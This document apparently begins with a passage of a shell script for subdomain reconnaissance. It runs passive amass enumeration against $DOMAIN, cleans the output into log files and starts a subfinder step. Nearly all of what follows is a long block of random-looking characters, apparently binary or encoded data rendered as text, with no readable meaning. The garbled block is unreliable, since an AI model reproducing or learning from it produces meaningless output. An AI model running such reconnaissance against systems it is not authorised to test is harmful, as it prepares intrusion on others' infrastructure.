sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" + amass passive enum + echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" + amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" + cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n"

I#V%USJaU z&+yxQBa56!vDNEyMxkc3Jfi1(wHM*kGAnY z2XUCc5;sobSD?L)(NGxp$~fX!YWh1u}7Mi*2SDUkw6G zC|g-L__wJ~qGa7*T8Lr4?RN0*@<@M}n_Jh_*f-lU?%^NP~sUBpQb zgxWhuhsdZZ4NCU4W4>kL-@2x_cK-6S*j}jXCTBtPPV!OzRu6Ka_n-V=Ga31}j{qbe`qr zc>(kN_n}wJkC>coOOu6h0$CSZ%+t*dZ@jt@68#e+8Ha7KSba`%Pm0c4^=(;eRr;-5 z*M}O>$V}=`fcGT>aJ8y1{9$JYEvMeAU?DzozR}>TY(fzDRh_C-j)2WPF zD5A zo1Nhx*(0f&d};c0IY4V~B)K4Ppcy2+=z!Y7&-3;8=*jDrtBXZ%(|)$;kR_Vcxj(Ng zVL^%|O=*dyLoej+&gT5tM;qFncny{D{Ku`4lKc#0%((@ z9ix%_zzQMQIElF;_amqXQiHKhLy&=Kg zm^gCkPX+@e#dhk~ABe^hL4jZ4KQi@koOjRuqKpZ>p#4Pvt-zc#k!3FyWar@_8;x@m z#TgaF=34aGIU=y`LI(Dslw~|Ey}vhmF+fc%*NSNfw;1Af0dyk}Eeuie;iNk&?h;8= z=FfGCCmG?(+YET`#5??9t(>LliGvXC%rQ7Mq@0=4uLh4xy}xcwX|*KM56BxIqGU2d zQ)%@%y{q`o-loP6$xGr%>6lR3FP|zZ&QRW4695`;75kXBYOPy?h z%y2#+k#9OMcw<%J$ft)rW&9)B)zM=6A0j2&t=^B)x04r_PW?40vay{?p@7pP=*ipq z(U1Pa*BpQ~e#*zVb@AIL8^=6pi{43K#@!SC=>P}8_itAc@grexQ>}c(++5@o^HP>Q zs@HvUfhO+>M8k7B>cf5O-U`!RzCsNubW*de){ptlIyYUYCh-HGYb&PuG}OHnTJ^l+ zODR4yGCW3*8@13TD1|ti0u#ejcsNo;B*5Ky1xK%{66KQ%Hw0gcXqpYYb7d632(Qu) zP?H_?1F#pr`$C73Os@hS9T0Zp7I(1l@nv!T?yi7~s$uz88u2qXlZ8&r>Iu=)`5x#w z%RIx&ZxddCnTl^QJ{t`Lk-=2zx2to48C`#XZZjWcbrc1T_bBP!>>ay^uI&%KqUhgc zKA>?MfU_QoB_?N{1zz2GY8yC0FZfV9Gx*yVi_Ilf8@iO6_9w58^noIi9gTv~kadH& z9t9#NuG8iniQOlhH`LDgx(GAB2Tn(e7HvJMs>H4nzC^D8XF5)Mb_<^Q?Uwh2&H%qS z28j7eI5lQ7twJsOIrL(lh|8B*B3fd}EjDNUDu(cVMlKQ8z~mm$4h+{|bHoeD(0qpyn0N8&jy65M<`kgwh6QKES)_b8!MVgxm=^3jWjSe3DIm^ z8|9Z)s2NEgpYQ^G%X-x`f<^ z-Rjuu9@bSNRdFKptJIh%MO=?VhstW|ViED0%rK-hCIoXf**~Kw{m~%|-%gL`P1|jQpMOk=u^EZ|{sndMr<5Sb$B7}--rG_G^ zyQRKykc%8R`1+8IT6tX8YCywQ=Ib2b{*@L}uCCP;PP_Z}=^SgYlv>cZs;d;@JUPFP zxbzev$zFvOvDQVtYonEmz|D-36UaYJ82IvSf%0MY$qaA;3Es@28De%%bnK4HEP4Hp z9E@v{$G|KPyG7rkPic2(o`a%K)|*)mF1rO{-x5ExY{um*n1M%L{SP(^hB^Zbcccyd zUi8prN?~>u>k7-OauZ&%9tfPFOs^vPgcDW-^^O}CW?Xiha)qSlURcCG;&}ccOXY06 zk)=91C~Di6@UYYIjz_%XD{&+1GW4Z@(1Y-epTl?o^GSrBQv6A*aYq7nJf6=r%)u`y zgZ9(E&UZm3Z(k|l^5(aoS;>tb_%>gHxnNz3fB#a?a6dqqai^U;!~?*rVIJPw zvzzDN$w?SvA2u3z??#JkqoK>@1VLTM!zm~kIgxpU3&DEo^H9+voYtjyySqVUps(12M<59 zfQVbRYT+&$5b~aKgiq0cW}!s!!bk-*aSWU!ZL$I%`U!1vBd%aXtX9Qqj=nT9cnp*t zoIY0u3BYJzm@T=z(5_>_w@~}xxYLu5VH1j5T1GC#G6tEo2zQK}=} z8rfuBLP;zZTyaZL*Tqd&o6WQH2F7vu4}kPxC;hJZ)GQ=6*tL?fA3b+f5I$y$N895h z(Or>L7T*uNs}>^0V>d1k7lQ2o?GO2;#(zLCl#G%J|Lle;ihoDelNolAcpi=ZPn%rw zfX;nRUXjHOa{YBPav_OLJ1zLp4Lln@>BoE|Y_iR#pw!<-FCTLCp;%H3o|e$fP*5%~jzO=HFQ%=%QdxaZHbK1HTv zK&4Kpx*VPal5WBfhWn3~d~LpQ)U6z;fv*wV(@(x)TT?)`KSC&tUugXLAbuU0xm278&-lv?xFEP zYL}~59s*bTF-~x*X_2p^sXr$tXlzMyAk(f~J#Kua7{v9fBx8lUdh8AZ7Ukwm4!us8 z6;e(|C?6WE`((K*YNKuSFU{k_`WkCh7C&B^J4ox1K_=fe*f6}@HH)66ap1HDf-47K z0#R3z^3Sw!XZ5R=b9Eo_Q+fOyHWD0)9?dLX-WLA2E$2K7+>yxTi~)bz>B>*)vL$8T zd4DPA4VLG&~w!^WiMG&R2>{c*9YkNZ`Q*dM*Lc&cfxvRg-?ayY-&E9Mm zlc<3CuL!fGlW%=JEyhHP;v8OMG~@3o*EFehVuNN{hq9oh-&hy(m-w-UBpRWnOJP^Z zGHsS$c}!ursgQ_{*uu49(hWk;L}l7R@cb9v2-FyFjteJzs@x}$qXcX~&qII;brgzZ zR2~M%5h4gUO#6g;qS|r4Wgo%_r8AsxBwJWUxK9=eDv$9l{)H7nku|uBP+2_p2Arox z2lWEEQht*(z^F{smJ3Kl-EoA9E!nBK3$Hla2H|A0Q{?e402pQ^g=>$xIDJBBmC00?YferLOu zjNBf*QLZOyUM|~s7-35CRRX@T5y>enjyUvIPTMbsXc1)4wRf}mNq?0&2TEK(~_?4?`Q|XM%Zx}yLm_jIq zC+iv}q^u7!?melz{M*?dOz~vW4%#SliW2;}qwd?%B|PLwThHppgfR{Hn{+&n zqWL?2_V;)#Zm<;Abf;wwAmbjxd+A$sw4v*_-a#EOCE0ane#xlp#2vru-wVUlC*Jlb z%h9YPw@Z)Tahx7rG>F5D*@;XdVX7UV4TiL`NQaVAps7q(rIZI^e)g-ZJXNq>UMnEOV!15`>eC#5c_?KSTpl-L2f>2Zw;ECDVra_S2+eH*EbJzGk@oq zVy~~Y7eF5iMX~qB7|?EtJ(ApOTSY54}dY*`7FaOP`UfbinN9|JQd{Fz`loALQ|1@TVi@-DT(no$lR7Gzvh zXrs?h3E!;5BdtCWTnqg;#p)>LWa8q!3enuWG*8Kv5ZJ^s6nJ3f5|xcB%C+~-+JX&8 zfUI2&mEFc4jI3f&Q}JQi1zv67qssb-pgxL*v=~;6G8Uq9Y6H zWwy3|uqG-@nL0+&k-1`gVuQGRzsn`yPY6|o$|$P=yRv(rm!WTEXUBENU8_>f&Lc=w zY7o}gHnw$X9d!WKc+Vv z&PhD^HLp4?9ggv(oeVx?o^>qV1!K^Fw-yT$YKtsBN6KwATV(I8@uqowg{-kT(|dom z^hjZJzwpr5KdlySuaM3Tt;*D463BiZVT1W$PR^X9BO66lY)-TMSBCJGIVkEREaO;L za{d$4v8<#bkfUDRUB>f`JIPT!UrWk)I-%YE7iknZ`yOF@27VJ;(Q8=7_NL+=J2-o_ zTSGRUQ#xP=y|j$Xbu%6dUFkFLU1fo@Gm_p^HBQBqA9d4>c`=K4i!Qbgoosr|UaLbl zk9r*8Rc8l($-CF;SJ!Oitp3X0M-Rj--LQ+|nWjjO)hPNMl-e!(y@EoHFH@J4#jE+L zaQ8u%CSFDsk1W_KqRW^1p>mETX2Xef)3VrXdh={}>jQ^<3C>f*R#4$FFwT zBhq01(9t#;#&@k}k}<;AWJpil?rYkMVTfL+zfgQUsSrr8KV5iq_uEVM+?}k-dQRVE zu~wIrS$opmtQcf-xc-30Y2KP#tZm1?;x*TcYy6K1SgFRM#!=E#qH%lsJF_oq&1&Ph zZ_`XBE{GwL!J=F?mDlu=F_-_?;B#FL(UG{rb{+|bt}snbITIYwl@tUj1Fp?1Ik+htB}87%Kz&`vILD zmuv(PAvgOCRQyA>eN?zcJvvssHsSCZ5H?A6ijO#vov21QW1>Rgy*mjV!Z(ZXU=5Wf zj1hTKEQ5I3M6x-oxrNHB&zIvpzTY?ir{grht_7-4L=#}El!xVn>0=0D|MBL70nss+ zNSEdFAHGd`IA+F5QozPYUdh>V$i@J`Dqp{^iS7F>4*6U|-GbNE)g24c3ns5&%J?6w zBpi=n8Rv;Z*yX>E&qII0y*pw2=fnaOg_m^uDCpX+7T((&AuXC&E{~0Lm@*Dy=5$G+ z^a{T-wt`q{RADc;u!42%AqC7d_Q0P}1LfkkxX00UJ*RhzX9BM>3MftzULp|F_j|ho zbwxaI=u6_?BcV22X6VkwZ&${LyaKr~4631T|FG6&H~_>xPHJrg;=$gL)p6HdZL_|mR&>37%ncg8ubuAShm zYJiw-`uoROtz2F^~U7-&(<8p zwJ}FNrH*(%u`_NY(ZEA7q$}_6@$T%W#F;=8$1zK=0P7an^;nnv0TchoYk?nkYZFO9 zT$!Y#8F^>IYKKNNlsyXRB5`yt!p=s?<%ZgGO^$e>dcHZRgQtSK7Qsfe7|t~p!tZr`J|4rUs;WET_u)K*a8Dtk z2!r%ZO(`F&g-X`oYWSw5L|gVZBCQ3%>cC5?8ci)aKP2@F0y^$0|HBBF8 ze?+yY!ih?2kI>@!tpLcV<8PZ8Sqp`vHw?wAlcI()M!e|%);j2%0De5(p>0}@sF(!6Q(_PB4| zptyx;;W{R(gXmY|LCCr+w0&Q{Xe#5gw@>}q+jg$^PTx-+%XC8ZtTpChZHWz;&X3 zn{C@Vve8Who;2DX_GH8P(7X)3%vtII!*6L7w2xVM1B#_ZozL09Sq+*x^XaT|N}=-E zA`SJo52Oh~%$aBJF26<<%GDyfFMlq2*?(1>szEVMth1V#n#lgAuZ6>KS@h7a*f0G0 z?;vNoH#=MwWX?L%yx7ZMb@^**oS|DDm^iQpL9AHvkHYO*Q>~olzXCot72YN=xRxPI zEnS6&EER~=t~aw5eNSrp)tnQQ$_bLOZojc>7>!)KpkMUbJXKNEQPAXQl{;&*QRWq{ zTau1@*EkpENtbHY8B2F?DrbwX7wh7@Sm3G8c*5_9H&fy2L*&NAO(?5&9Z6u1jzY-J z%*01^;)&~NI-)|kb3X@<50yIO%PlhEsird!kIH>S%Pic}X{;fexb>8LYyVQiRzxXB z2erc(b$@KXWocW8J$r!l2sj>RWml_jm4Ql%{2_P33r@C(!(olPBOhsJVybDt1+b+C z9cGzyHOoerq%Eb9kPlfi{x(O5Hd$2QD+veID7fs%0Xx#4DFNbn93eLHc$-a#DLzG=SRcQv6MsAuWpggY45+EGEalJ; z{7gskiPlS_p(|cWB|PLFZBjdTlCHl`o9%yC0OS%}!-KCz{FQSXAF@$L@N!`8sDN(g zYvfbCsu~%0Ac6W%J^IgzKmwFjt#Y`%mpXhn9u@xZ2hHtj^8oUiE^E#m|**T;t_21t9*-us??G~ zJnz3Qrl_PAY7?%{F^OmB@B?`=<#((`4T@}(I&;Ar_52a7=T$4VghTKZkBu0pZ zLI%WTl8>0PksK-PA(mc}Jv&YcoqmNZM+SM~(*O*3nlmAw8XZXXM|==wh<+WpYVsdq6}LX;{?Feb8Qc=G6>EG8xaBJqvmYr8$sgp2>%71 zLQU|-7majGoe7-LHw!giTyvu!UdY4X4lkTN(UE0jq>M0 z_Zux3C`n^32b58Ptr&nq*|D0>&wqkbeHqsO1Q2Yr_K&_Ec)yFvR23k{CNSF#jFB%7 zd7zeXIsSkV6C7gGO?Ld>;5b|wxMCvg-q zH_&QTrwmb#ZcQX6h*|jalbo9knDIWRCE;<$)FO`!fUyMo2c_wwCYS-`d7oAM_5zu5 zvZ5#+m&F1bE>@MwKMA3^bG+O7LY@(JrGSS;sK|Kb&`&Z=imVHdh&@|&ze%?1TwJ@t zCCKK|oTKy{6u*GpvHaO)`XtnbY-DA1aL6SX?huciF-+`@egCL0I^gsba?Afg=lBn_ zMX#t{KUr43!YO;kuLI)idziyQ7py~DfY$ld7QnTAOu4wAsTSuVG*t&}&OCh(A?XZv zr33<(aT7w!#$Rs)oIFsMR#djqcB&4@1h7aLYX)#khWXgAcYPbQl_2ov3sQ=%1FQ6P z#e7^qc~qbL_1QKup2SjiF;zjFp*xaIDOVCEG3nY;p(61XTLrWyeiU=4*0o4~suLvM zcHQC=;=JRf?Hxm`MRw_0C2No3zAb}9@n6tUf`UJPBc208F{vUA z3yc{UJfR71@R1K?Ui%KZj~5V9oppt~Br2{v&K<0%wTqmUf{}Wa&TTc%Nh!Mw{N{HF zFIu}E#mj`-#U)6*Vv0q8T~pOj1BPEodgya{QhY3bhyZ zlnazIO|1`V=lBvANXZ@6%9pRWe;5VE;YjT_)xgqD#}sWupR-abkdwnBD>baTSs&Ho^(0B+Sg!T8o^b(V}54fo95=AvzZL4kl z=R;6kqo>eIw#L+xKG|;aD8MXi7fOQ%itr)_M%>SE$W$m$eEc+W5ErnEA<1pq-6G)T z6QCT~N<6Qz`{R%;Q2^pz{V#Z!1rDh49|`auz@D-XzF~*HDXjWRs;;VKKN%g0wq*Ga z<9A8{J>?1ktUD1Kt;|3zU?(^2lB5|s9%dIwVB~tQ9_(Tt-_bmV5L?B4zPH)1uV=`G z=r9j{#>%n@hzEweiz4gF78$frC3j4`+Y2C?%Gb~eXEPppY$i#_?kD_(%0DpAf)u&D zuN{hLz01wU4J07v_|S>DRVBt0Vs-zj&BH**@QVcRRyXfW^j)<&CF@x_o|wi&w@)yP zrY}1GPrl#(gIaTq3}5^X)c}-|6Q_bD$=oRloXbaHeI-JZABn`8mq=YWG$c*BO+RNB zKETUNI*Fb?+}~=pfv6pwDoI0tnIY@P@(^@UAVSR%@x7SAcxnCZwVpqQ>hX0yDSiM}KD~d#7lYXE zA{zk>bTHYRA8;m{9<{z2Z;EYH{x%aFxBe6TTjx-`ZSeI1GkK#B8pO6(2=NC@*f&jW z*QV#=bTl^lc1{u#CO%^0+I>TMfWdT+=yf3?WnC8Tx-Xm+*NwXOuE^}uonU}_V}SX8 z$LD}VUcrKziQ+&IR-n`-7ekab`jabV3)z9}+P(ve@fa;#`pr_vOS`6QRtVh4EU2Pf zl48-BpQy;WLPjh~wfxr@d-OyGt)Rw<%DU0 zd+dlhq}J@7?<5B!5KR<7eQBusZwpdcM5XkbCP)I94I=O{=u1VZikSy-iwptjYWxl7 z@861_qwTfn2UGTG|1z)9Vy>zjoc|Pag_@ohfzuI>*guL*b`fd%&K0fFW^{e`_3dxe z-d%Fh&qpzQ8;x$baH7IwZJ`+R=(`9}{)NH;SL|wI0WPlJ-jDL2&29u3(pR3m2cUw! z9CHH^tl-?K7hE)2Fzs1d?d`)q<~s13zg}@8vW=YAPmw(HLkdB`bO-}r!^n!6-qgU& z?SNN%d$4i(;(?+1*9x?V$-U3dTMsONQ{2llc|o@SFDs3P>?dG@q%l4c6C*-OEPP$u zJr$`jEKFKj?K7a?k!;ArPRW$*t3Su}4=k=DA@g?v;^a-cPR4HtV#Y~k2wqd)pOdx< zUZnAIefhqyDCunxAL36@yS8`H+PPUn#HyO|odBN1jfd#$DAvsAAbO*mp{swu21m{s zupuswH-Y!f1g8gQ7ETq9VPz=51QQfJg~!RnHqL6rrRQ5@#u1&){IK@4umaLEn%jc}Ddeg!99^n*V_7h1VlhV!|$g>-K1lNU|- zViFC4YVn|Wsz2bcJVz-75r{$bvPFrN87>}Rkhlw$d;5Y908_hOtl$QQ?o+*Utbo6~RL=_YQq86mY5rE!$Q^XfhEOS*=3W*u> z;>g*LI5f0mk(DAUO@P{Ew45YjY7%(IQkmBn%-+j1$EhJkv38$KR@!AH;A91qOyFjI z+Pai$IsrF07Wj>qg0B@|5y(Q*0(UskL=WWs(ah+ zS1Q`W6k@^qo@Xbyq^Oj z1}i-Oo(aIG5boK;i$D5;WcS*~s8Rvg#cuS$YeH`>Lsr{?1_`$Hu?t|$woohE54b9A zFaR!(ekth8CFHO{Fo2|VIb)4XG0mPfWD`k=B}9Ck$cRHkNCcL<&;RDL@rR##_xWOG zsLq%9IeNf-4mLAun33SeDgJ2KG(ZP9wGdOVA_&I#S90mUak$XYsU6{2LTtE@XCnsL z@=AUay`@p4rPJ2YKgGdNbE_1B3t>G@4luyL2tUF-KoI_jhQ1-}(@Z*HqcSbK+(Ww& zgnclUSTz>FFY4%_<^So*^(5?o1NbFF3f+NB72)p4o7eMYz=<(;id`Qe!iU1@6UiH0 zTm?}_R^!HlS4x_b0hN_C2u~bndRDIeLLSoBZDEI8Rh{@W^z=~hb^x4~;i^VL*<;00 zL|nA(&*sgGRccO^y@Lps)Cu6+>v0tBmKZ!Sn^zy75qMzg={|TG0UQ2}pa^k6I^PoV z@|H|JG=pz_;{b4qki0_;;<2O#Q5ND}Rb`0}ehreWy<=c@gf39&dhp3GC#P`MW zUw3n^9JH&$A0gsuY8hU^wfkJF#+Vynq=r7B;BF#DM8N7Vm`#wek8LnBkj2ZaR(k4PDKPt1dcf6)ieA?oE)_^mEPsq z#ONs(=kWhClfF)J5b=vupHY9`qbAz^7P3oFZsfW+n5}H_NNV{aLx_1978MM()m*p` zhqeI@-3vZua0Ym2UNDE)P;^s-Wg=-u*N~7>ST}mZb$)vTrVgT7{>Vaje+B0lU5+lY zU56drdx7N|{d`2kl5)jP#?hSS{%e1M%L{CMi}0&gJ+lUVJ{H&~79f*!m~e!SY-|kJaO+#A$%5-dQ=FD$_ow#U_l4^B zsM`hp!IKU$)xyCw?Bxs(KLLd z6Y-UpyD~^@djgVdqBLX@jpDAkfyndBMDQ$}I*p3CwnDWqas6eL)d#dV4Ub<~Y1Fmy zGnR5Juh_J}IUlsaW5>oOIJ}An*ZM?XpPTDC5wh{y+HSZLc$j`{w>@D0xaHASJ;(f@ z&4c?>)N3Sqi-~T&z62|6ZmDiMRi6kVA$%t9JG&fgw`g=d3sBEoLP1e;(?1#>pie{LC zt_Mz*vo$Q=)f7KOJrxD@ef}1zHTQ9)wB46od6gc<29;w*Dzt0GCYw;Sduz}F#EHBO zoJsnHjQzt-znb;U%n9o@GrYa{M#gtTH`$C6(p`5SgN~m0Y69frk9_ZAM&)IcKz_liyYtmcu&Yi$a}7640qnJFyD#XTggA1h#Uq1{pU5JH)Y z(mj?etpvjWusuAxmRJ4kf%uHEUI=rTz^;rA>FqvFwa=3Mv=5dOTLi>RCpjvuW(onk z38?ZJRFclo1F%jBd6Ap5G$*C1f`hfz=x&&cd(dk2Tn*j`zi9B+{re0j$t`h2FH#>5 z2sSnW;PmszCprXX0N7RC9IF?#FbdiebTVrFfdg7yTg{i(`y(QdB@2<*<#C4XF%kK;XVNyG zUlxU{hM)4kRhT98H*rqT_i~>&{0`?BekSQ^eu+*o!Q3!9Fz@25>BHun7_}ciQcX)> z7fI$|^OOC=w1LJ@ja`~zs|#j{Gu0B^mOez4`j*X)*fT?|6WxSIVdeJR%fc>UEBhOl z0g+efOO^N>)`={&S_kH|)yg3{{wFi((t!~AuE`01`ikvr5{x2ck5@|5S=C50i6KCUK~b$Nqx`qKze;S@4+F+BBwPIP8B+TKAvnNvrcw^404Te@)>UCi zMKZn>!8+xK$zLRMJZ_(n7Q&F-$~4TeqR*;Kg7ObuCH~G#sEWpP825LHpZ)w%Y%J~T zb#g-vj%T?x`^9V#mJlJ)!`AfoT8A|15bI|=IK}IO_oynz5s0w0Bd*oxMVDk*C!K_{A{y zWDlxuZ_qph)5=$(mA$(Bm8sdODIghxyDCaPVA3SC+-!+M+UbyW9p^nfbL~~>gOe$h zHZ>HK$9Z%Ob`#eQiY{d4jyLH+tty+T<{lj}^?VJXcxx6v>lrNLGvf<3vhaI5oF;Tx z;}_+US}BM81wTU{CrZp3UOTd#RVz$I;aCl-sS5SK1tGt;{zCNc2ef@GUy-q8QQoN1 zg2Wm7gFemiW0iJJc;kN%oOIBEt*v&iTK01+QcRWg6{J+6-Mtje!TCbJF5YeD0G3Tf zI?+i@QhcTYQ4I(aC*LUk7RTUeS3n5&YkZ%nO#_u zOAQxO!XNqFG0DsNuMzCLCOrV={H|21dcp2oeN!i=-kTQjJWkHuBE`?n-LSjwda-_n zMoMCVBEGd?vOT3xUy)FmKynt8&lnkhC1y9ij)iH?go3u_GsNl)4O|7|$(9)&7f#c! z5JPeadp!hKrhkGl7WNp63_iTu%!|)QE2N1UEnwLV##7@H8I~W3cqX!YVKRluoWgTd z8?;30I6+i59-M!_*G8;+j&MFd6+G5zOT6AyJu3RBxCm40-m)!s*c<0c(2(Q3aM zJ`g2#{?yrad&;izR3aC;8j;Q#^iG!e(@nyAfR3vLc4V8O-+f)EvRNtgc5$FTQ$?Br z*!tz_2#KQ?kN2PcfJHn_GZ+{Sd)T7$7~ZeRIs1gk<@U7Hzy9A&G?uS@g<~h1>?- ztHbap-ULpI=h6JCOh&|ENyq(+4({^hF8-iIf*8{WO!+XEJ|ljJhlDS2?f0QBcx+jc zv#Qsr2m7?zDdEtA?vkh2{yS%ulixSdd_YnRfk(ektq|<;qCZec`mC_ABq^)gPGGlU zFikJPcIqviEApn=pjM=ZF)%$;sWbCo$apz^y_QB8-|5P4s{$Pd_^t7YBdWZ3zq-T^3`5xw*nZFDpuB`5OL? z1@tN9tW<`YQui%f4cESWHkdZiNmp~cxS zx+11<^*<0`IZC8mk@S{Y%Yt+Ynu+_~0+B&7x`pC2)6bWkdGiMEJX}9V^0}&zbcKKL z@Fq=u3eOS~@a)w3*D28NuRemLQU_Y+Sd+%hVg82!h9VA}g?X=bdV7+hE5Xy4!sCbn zpY`wI4Eo;YrJzTEu_Sn#qYE?;g(<1oX}{t1Bm$y@2gLJAe<>@Csb+^uIO;4S;kG4z zuFWWot3rAZaT#0K6lf~4?}d$aRXuQPb`26edAniD*n8#TaB{LWslMA=26j=z>R3_UlhvU@0}zwMlwAcPbPb17;xf7?*|_M!7>JY6SXA$O7|tV| z7m-A^tUV)&o$w^(N}%F0QNvoTBz03wY!94E%5RS(BcvkaU5+2|6&^x*qX-y)}GkPI_})3n-QH=LV|QWkWoNpNvJRncK;49 z$d>+x{l5^v8h?eW54mJ_NpUJ*hZFAn$%J7GU$BL_%Tijx-kq|BnBRW-f+5|pL;FO2@bxhk@oe;gRF`j8MSw)Ctd8L?MHAkOQr6SW&yczA zjLQF{ghjxpnq~)zXFC{iPSLyAxl>9NkfV?0ZlzTs5AFNMOg)z8HB9ATJ=Xu2+mrnv zRC1e+_y1LVN~6)7ij;TBZ?@*&A>BQ^Rwx!VO8L}wz29aswYnsiTW9^8tm6UMnU7XG z0?S#eClx2K`vBqpvyoh1pnc2`LEr~F{JeZy56L(nk1N`# z?4aO`eoULNMK#70(vt8;@xIc@K^=m?h%ZhlU5dKK_D^IPP4!1VO{saYXI2Dn7CdmU za+{t~Nx)SLmhy5fgoZ+&<*(%TQ2Aj;=pzw&jy_UO&i4ff#{pX6 za8b-pPL?HW(IdHt;7@eeg@Q-t-y~h1-}n!@W(KTBo4p-p=G%;CIY)LGY>MR<7fp!R zsLY%5&m?xB_4>^cj%ZEy#3ko-Z%$bq!U4Gv*Ki-SjE))#XvxeQDpFOsTP#tjSvs9; zzr9=gDK|&|v#P@*WGa9p*p9619@cccfH`w)f5oeMq*6jJ>?YcF^4-mDTtP7&^$+t) ze1#NDpew@Q2Z{tnzy=Z=FFrynHL+IgGv7vw^F)5Ir)1mw^?T2g5GI_255&-x!FZyS z0vPdE0l&S0@ij`0Vh4c)d&_LJm{wG~8G-7Vx-y37{W&o>M+nN@C?jgNx!njTk`N!m zBjX|;yruxG;$L--f|=F8anvt)5A0>;IoMg>Vy9>JES=yAa^JF|)xLj1&TQj7`pNLGL8+%H__HL>;jbO@L4T%*QS0v=xsC@4&qEoQ8uFbQvS=jT z-sEUQmQ)MT!w16JISH)#`u`zaqL5ry9fyrh2Q%jSI~Qe(T^Yo#%*B-GaO;Ic>q=9y zgudGi5694#6nQ=Q0Sg!B)GrweB26@pwEW&}Yjz}6)QwdRW( z4X)+akt_}na2c=>R5nmeNZQqeHjZ=y=fI7?$@_+A?_J|>1}uS|kN9f(BlAZijFLSo zxR)2{C$5w7(L28EmA~0@=0oA=Y4?Vfcy~^m{N6U`SBwc3PPa}|mzI01A)8G)W?{b- zw@Kp|Mp>=iG19P`&S2ZQD4~dQA@2uF#d&!X=1Y86omM5F@p?n5vtIiyZy0Bnueda_q-DQgurYvSSeB+jQ zwS;(TL13e0-zSLYxcKS74f@mBP*+;?K3TI*dFFOzJ8p)=tHfk_ASY99IPEV3#HRCP z-(=R$in4sU>sl+T{OLbfsu2}=m#LQ@R-|~|FU(Fos1kgY`U}j>sPE;-G^YgHiFtIF zq-UMYsMKjEj7*GKlI~3suFMpo{*1{YW@vYeukJ4w+wTJw-BipCxpt2N;`@vuYcJ#T zm6!tMyh*M6v+`}~;EDfjIap5tKST@8$7D*D$faxMII3eB%W)^_h@0eH7Oauy3SLaq zl3|)9l6ZnykPpo{6-Qsa$WJ$?>wLSXKC%0A5MQh-$B>X)hJ5X~ zqB`5qad){Rjv@R82}x+XAV&J=x7}Rs^Y}7fh4GOK9)36_X z7#Y@hvfKS;LToY=FyTRtX1#BVLEhs|mXbJAOm2`bBPCII88H0b&TAw(&mF_Y#}Tg_ zz?jtcC275;X!4fb%n9|Q>WE8>(LKA{IGsFKtiyG99$CreMLv<-Bx-s{eH*VGCbN`a z1l;(|nE5`rZD~F$CA2&~1}mY3UjLqGC^?f=epMB%k>u-D+S-(V0yI ze{ES#VadSvliZ+kwciR|`VsC%XCO@PN|%|!X&&=uhA*3#cPfipUw7x*Zn#^|mP9VK zl^SK&jSChLoga8+s7Ll{Db%KSxAUcH#7n&KxC*UWqzZ0rE4wMY)R9%EM?zB|-UmF4 zOLwTx;C>*J!vl=DiU6VPed2d}E!dqI`mriSo?S;>(@O14E<<`8aVc2hZYybD2B?*} zd_NCrZo8%vz|ORUkdC;YLL4aCp_N~4K(&w_-RGW@7wCyWU)WBA*Id@p>SJO1D9aq^ zxTYb=8)DMZPT9J)r{H;Y+X~}0z5nA8|6ca4eKY)2dX2Z^P9*C~)9pBzp=F7p7H3xb z#>vhZKS{>vodxs>&shgS0`VGWf5)x~lWVP8&yuI#25JwN?n z)`&ai^`ZKCk$E5N+LrV9bQ#bqF`$V)tn_DcSV(T`uKhph8?{@vpN#(4ki5!^}0Z-6h^8wq$YA_0I4Xd}9Aq7N?_ z;61eGv2vS}=H}o>(CT#N&TH1je|>w>j&R$7QpmS-+o$F^cH05nvL+5aKN*GEx$nOP zdAm=69*maOAiikJUPr`kJGWgwtk=9ASH_n!Z^k-mJWu8z^(Wl|54u(zk2ue*CthVl z&}QrB)|$_&Qa}P;?-gt4Sp%Be1%mhsD&{6;7RY$e^) zbNy!|LFIwm7#cEWb$Y1)x+b|v%p4uP2t%$=IY7FhhZHc2#v%}E97t@^%E}hQ2uB_Hb z+ol28C2!wpoeKCyMjq}ynqkR74uT5SV$7Stx6AB&% zlY){%$22LsV5t+<@ivf%kj*kLQV(3*UF(&}&69k`7o7eGhqkOcZbW5UzFZY|9!hQN z{bk(h%q7Plr+@soyF+RAaj|76tz4UUyfB}c+=j<*psu3~L2FQ#)r(c@iNafyt_+5> zK{IN9yaJi=AwN;*K4mPif;L^3c%d_Et2)r8CyCV7qcv#82^HvQoa6NNc>I3o1R?-6 zSn=xbxPLscT)TW(lIeJ!D~3eJ9(fzO@6ENDpRe90Gd0tBT0ah>@n_qWcz3&~S|$C_ zah-cS**@i9R9kpp&br`UqH2ZuFFAY9aPpB#ox9iSH)kQg1a;iTEwywUWRyJRdYQ4a zWGLi|-ph1Ab~M^NyF(xMyq2%(-F4k6PBDoVS06;q=80U_H%=CaZ*;a|sH|Og(wqj* zUjRcTu{{~4o-CLfXQAFlWFk6O3!vtwcLSfc3nlXnJW~-1Az)&U{@X+*&#jbv2&tSm zqTSH>rnN^AF+#WW1?S64VIP@NCS&MQ_t?~eLv7UmWWoPV3%)AAJ$BZ^;|ZDWg&kx7buhG}fqdmhg7qL7f(!^4Xt+l^g}We5!;Zo&b8dXpTJKO$>^af= zW2S0Rkfn;4n;BzblJk`$&JdEvnW3eA9cS)ET3GLk&rghwAQdXQL#bbsqyqW-CVVd6 z(W<3>8LRSy>Re;8TC7?YhDs>y|z1v*SxN= zvy2gAKS4emO^I@SV0sR-UdVh3L;HM27WTmJ_VTdgy?)fd>D4)xJli6Jw8lH(Oapjv z8PZPBYu6TTf$%X{Q#m)-HVus_L!z8pvXH%0-vA&6fv17kTYp99aQoKY{RQrGGBAp{ zX?vI#lntIWBUq9t7oV`#qi$487*w zJ-XMvA*(op6zVo!Yz&B4yW2cnC_Gg0Dn2z{5g_gMbMz=Axd_zj5S#uVHTfUW2*L;2 z6iOY$AbM|~EOof_F^Ua$cqaO5%B9x%^HfX7H5by??S+{KzdgFfd@wu;(4^Xv%+^t6 zN$Me!(x%!RNm)@R)QL(X!Q3a%q==1kK*+CWKbWhX!bo$fCDm5B`PdB}kIYf|S{<`! zB{Zzo>%VRCfcguPDBJHR$~AcOQ0m~3CC)HY8uS&ICXvAPP|^$%U5A6$FPqn{`+gFV 